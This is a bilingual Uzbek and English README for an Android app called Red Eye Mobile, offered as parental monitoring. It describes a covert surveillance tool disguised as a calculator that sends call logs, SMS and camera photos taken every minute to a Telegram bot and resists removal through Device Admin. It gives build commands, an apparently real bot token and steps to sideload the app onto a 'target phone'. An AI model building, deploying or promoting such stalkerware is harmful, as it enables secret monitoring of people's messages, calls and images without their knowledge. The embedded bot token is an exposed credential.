Red Eye Mobile — bu ota-onalar uchun maxsus yaratilgan Android nazorat dasturi bo'lib, u farzandingizning telefon faoliyatini Telegram orqali kuzatish imkonini beradi. Dastur "Kalkulator" qiyofasida ishlab, to'liq yashirin rejimda ishlaydi.
- 📞 Qo'ng'iroqlar Nazorati — Barcha kiruvchi va chiquvchi qo'ng'iroqlar tarixi
- 💬 SMS Nazorati — Kiruvchi va chiquvchi SMS xabarlar
- 📸 Kamera Nazorati — Har 1 daqiqada avtomatik rasm olish
- 🔔 Telegram Integratsiya — Barcha ma'lumotlar Telegram botga yuboriladi
- 🧮 Yashirin Rejim — Dastur kalkulyator ko'rinishida
- 🔒 Device Admin — Oson o'chirilishdan himoya
- 🔄 Avtomatik Ishga Tushish — Telefon restart bo'lganda ham avtomatik ishlaydi
- 🌐 Offline Rejim — Internet bo'lmasa xabarlar navbatga qo'yiladi
🔹 Kotlin — Asosiy dasturlash tili
🔹 Retrofit — Telegram API bilan aloqa
🔹 Coroutines — Asinxron operatsiyalar
🔹 WorkManager — Background ishlar
🔹 Camera2 API — Rasm olish
🔹 Foreground Service — Doimiy monitoring
🔹 Device Admin API — Xavfsizlik
- Android OS: 8.0 (API 26) va yuqori
- RAM: Minimal 2GB
- Storage: 50MB bo'sh joy
- Ruxsatlar: SMS, Qo'ng'iroqlar, Kamera, Storage
# Ubuntu/Debian
sudo apt update
sudo apt install -y openjdk-17-jdk android-sdk
# macOS
brew install android-sdk
brew install openjdk@17
# Windows
# Android Studio'dan SDK Manager orqali o'rnatish# Linux/macOS
echo "sdk.dir=$HOME/Android/Sdk" > local.properties
# Windows
echo "sdk.dir=C:\\Users\\YourUsername\\AppData\\Local\\Android\\Sdk" > local.properties- Telegram'da @BotFatherga o'ting
/newbotbuyrug'ini yuboring- Bot nomini kiriting
- Bot Tokenni saqlang (masalan:
5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A) - O'z Telegram ID'ingizni @userinfobotdan oling
# Linux/macOS
./builder.sh YOUR_BOT_TOKEN YOUR_CHAT_ID 5
# Windows
builder.bat YOUR_BOT_TOKEN YOUR_CHAT_ID 5Misol:
./builder.sh 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A 6043795029 5output/parental-monitor-release.apkfaylini telefonga ko'chiring- Fayl menejerdan APK'ni oching
- "Unknown sources"ga ruxsat bering
- O'rnatishni tasdiqlang
- Kalkulator ikonkasini bosing
- Kalkulyatorda
1234=ni kiriting (maxfiy kod) - Device Admin ruxsatini tasdiqlang
- Barcha kerakli ruxsatlarni bering:
- 📞 Telefon (qo'ng'iroqlar)
- 💬 SMS
- 📸 Kamera
- 📁 Storage
- Dastur avtomatik ishga tushadi
Dastur o'rnatilgandan keyin:
- ✅ Avtomatik monitoring boshlanadi
- 📊 Har 5 daqiqada (yoki siz sozlagan vaqtda) yangi ma'lumotlar yuboriladi
- 📸 Har 1 daqiqada oldingi va orqa kameradan rasm olinadi
- 📱 Telegram botingizga barcha ma'lumotlar keladi
- 🔄 Telefon restart bo'lsa ham avtomatik ishga tushadi
📞 QOʻNGʻIROQ
Ism: John Doe
Raqam: +998901234567
Turi: Kiruvchi
Davomiyligi: 02:35
Sana: 19.10.2025 14:30
💬 SMS
Kimdan: +998901234567
Xabar: Salom, qalaysan?
Sana: 19.10.2025 14:28
📸 RASM
19.10.2025 14:32
[JPEG rasm fayli]
- ✅ Dastur faqat siz ko'rsatgan Telegram botga ma'lumot yuboradi
- ✅ Hech qanday ma'lumot boshqa joyga saqlanmaydi
- ✅ Device Admin himoyasi noto'g'ri o'chirishdan saqlaydi
⚠️ MUHIM: APK ichida bot tokeningiz bor — boshqalarga BERMANG!
./builder.sh BOT_TOKEN CHAT_ID INTERVAL
BOT_TOKEN — Telegram bot tokeni
CHAT_ID — Sizning Telegram ID'ingiz
INTERVAL — Monitoring davomiyligi (daqiqalarda, default: 5)| Muammo | Yechim |
|---|---|
| Dastur ishga tushmayapti | Barcha ruxsatlar berilganini tekshiring |
| Telegram'ga xabar kelmayapti | Bot token va Chat ID to'g'riligini tekshiring |
| Kamera ishlayapti | Android 10+ da kamera faqat foreground'da ishlaydi |
| Dastur o'chib ketayapti | Battery optimization'dan chiqaring |
| O'chirib bo'lmayapti | Settings → Security → Device Admin → O'chirish |
red-eye-mobile/
├── app/
│ ├── src/main/
│ │ ├── java/com/redeye/parentalmonitor/
│ │ │ ├── data/ # Ma'lumotlar modellari
│ │ │ ├── network/ # Telegram API
│ │ │ ├── receiver/ # Broadcast receivers
│ │ │ ├── repository/ # Ma'lumotlar repositoriyalari
│ │ │ ├── service/ # Background servislar
│ │ │ ├── ui/ # UI komponentlar
│ │ │ ├── utils/ # Yordamchi sinflar
│ │ │ └── worker/ # WorkManager tasks
│ │ ├── res/ # Resurslar (layout, drawable, etc)
│ │ └── AndroidManifest.xml # App konfiguratsiyasi
│ └── build.gradle # Build konfiguratsiyasi
├── builder.sh # Build script (Linux/macOS)
├── builder.bat # Build script (Windows)
├── LICENSE # MIT License
└── README.md # Bu fayl
Pull request'lar xush kelibsiz! Katta o'zgarishlar uchun avval issue oching.
Bu loyiha MIT License ostida tarqatiladi.
- ✅ Faqat o'z farzandingiz telefonida foydalaning
- ✅ Mahalliy qonunlarga rioya qiling
- ❌ Boshqa odamlarni izlash uchun ishlatmang
- ❌ Shaxsiy hayotga kirish qonun buzilishidir
Dasturchi noto'g'ri foydalanish uchun javobgar emas.
- Developer: Akhatkulov
- GitHub: github.com/akhatkulov
- Telegram: @akhatkulov
- Telegram Bot API — Messaging integration
- Square Retrofit — HTTP client
- Kotlin Coroutines — Asynchronous programming
- Android Jetpack — Modern Android development
Red Eye Mobile is a specialized Android parental monitoring application that allows parents to track their child's phone activity via Telegram. The app operates in complete stealth mode, disguised as a "Calculator" app.
- 📞 Call Monitoring — Track all incoming and outgoing calls
- 💬 SMS Monitoring — Monitor incoming and outgoing text messages
- 📸 Camera Monitoring — Automatic photo capture every 1 minute
- 🔔 Telegram Integration — All data sent to your Telegram bot
- 🧮 Stealth Mode — App appears as a calculator
- 🔒 Device Admin — Protection against easy removal
- 🔄 Auto-start — Automatically starts after phone reboot
- 🌐 Offline Mode — Messages queued when offline
🔹 Kotlin — Primary language
🔹 Retrofit — Telegram API communication
🔹 Coroutines — Asynchronous operations
🔹 WorkManager — Background tasks
🔹 Camera2 API — Photo capture
🔹 Foreground Service — Continuous monitoring
🔹 Device Admin API — Security
- Android OS: 8.0 (API 26) or higher
- RAM: Minimum 2GB
- Storage: 50MB free space
- Permissions: SMS, Phone, Camera, Storage
# Ubuntu/Debian
sudo apt update
sudo apt install -y openjdk-17-jdk android-sdk
# macOS
brew install android-sdk
brew install openjdk@17
# Windows
# Install via SDK Manager in Android Studio# Linux/macOS
echo "sdk.dir=$HOME/Android/Sdk" > local.properties
# Windows
echo "sdk.dir=C:\\Users\\YourUsername\\AppData\\Local\\Android\\Sdk" > local.properties- Go to @BotFather on Telegram
- Send
/newbotcommand - Enter bot name
- Save the Bot Token (e.g.,
5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A) - Get your Telegram ID from @userinfobot
# Linux/macOS
./builder.sh YOUR_BOT_TOKEN YOUR_CHAT_ID 5
# Windows
builder.bat YOUR_BOT_TOKEN YOUR_CHAT_ID 5Example:
./builder.sh 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A 6043795029 5- Copy
output/parental-monitor-release.apkto target phone - Open APK from file manager
- Allow "Unknown sources"
- Confirm installation
- Tap the Calculator icon
- Enter
1234=on calculator (secret code) - Confirm Device Admin permission
- Grant all required permissions:
- 📞 Phone (calls)
- 💬 SMS
- 📸 Camera
- 📁 Storage
- App will start automatically
After installation:
- ✅ Monitoring starts automatically
- 📊 Every 5 minutes (or your configured interval) new data is sent
- 📸 Every 1 minute photos are captured from front and back cameras
- 📱 Data sent to your Telegram bot
- 🔄 Auto-restarts after phone reboot
📞 CALL
Name: John Doe
Number: +998901234567
Type: Incoming
Duration: 02:35
Date: 19.10.2025 14:30
💬 SMS
From: +998901234567
Message: Hello, how are you?
Date: 19.10.2025 14:28
📸 PHOTO
19.10.2025 14:32
[JPEG image file]
- ✅ App only sends data to your specified Telegram bot
- ✅ No data is stored elsewhere
- ✅ Device Admin protection prevents easy removal
⚠️ IMPORTANT: APK contains your bot token — DO NOT SHARE WITH OTHERS!
./builder.sh BOT_TOKEN CHAT_ID INTERVAL
BOT_TOKEN — Telegram bot token
CHAT_ID — Your Telegram ID
INTERVAL — Monitoring interval (in minutes, default: 5)| Issue | Solution |
|---|---|
| App not starting | Verify all permissions are granted |
| No messages in Telegram | Check bot token and Chat ID |
| Camera not working | On Android 10+, camera only works in foreground |
| App keeps stopping | Disable battery optimization |
| Can't uninstall | Settings → Security → Device Admin → Deactivate |
red-eye-mobile/
├── app/
│ ├── src/main/
│ │ ├── java/com/redeye/parentalmonitor/
│ │ │ ├── data/ # Data models
│ │ │ ├── network/ # Telegram API
│ │ │ ├── receiver/ # Broadcast receivers
│ │ │ ├── repository/ # Data repositories
│ │ │ ├── service/ # Background services
│ │ │ ├── ui/ # UI components
│ │ │ ├── utils/ # Utility classes
│ │ │ └── worker/ # WorkManager tasks
│ │ ├── res/ # Resources (layout, drawable, etc)
│ │ └── AndroidManifest.xml # App configuration
│ └── build.gradle # Build configuration
├── builder.sh # Build script (Linux/macOS)
├── builder.bat # Build script (Windows)
├── LICENSE # MIT License
└── README.md # This file
Pull requests are welcome! For major changes, please open an issue first.
This project is licensed under the MIT License.
- ✅ Use only on your own child's phone
- ✅ Comply with local laws
- ❌ Do not use to spy on others
- ❌ Invasion of privacy is illegal
The developer is not responsible for misuse.
- Developer: Akhatkulov
- GitHub: github.com/akhatkulov
- Telegram: @akhatkulov
- Telegram Bot API — Messaging integration
- Square Retrofit — HTTP client
- Kotlin Coroutines — Asynchronous programming
- Android Jetpack — Modern Android development
Made with ❤️ by Akhatkulov
Red Eye Mobile © 2025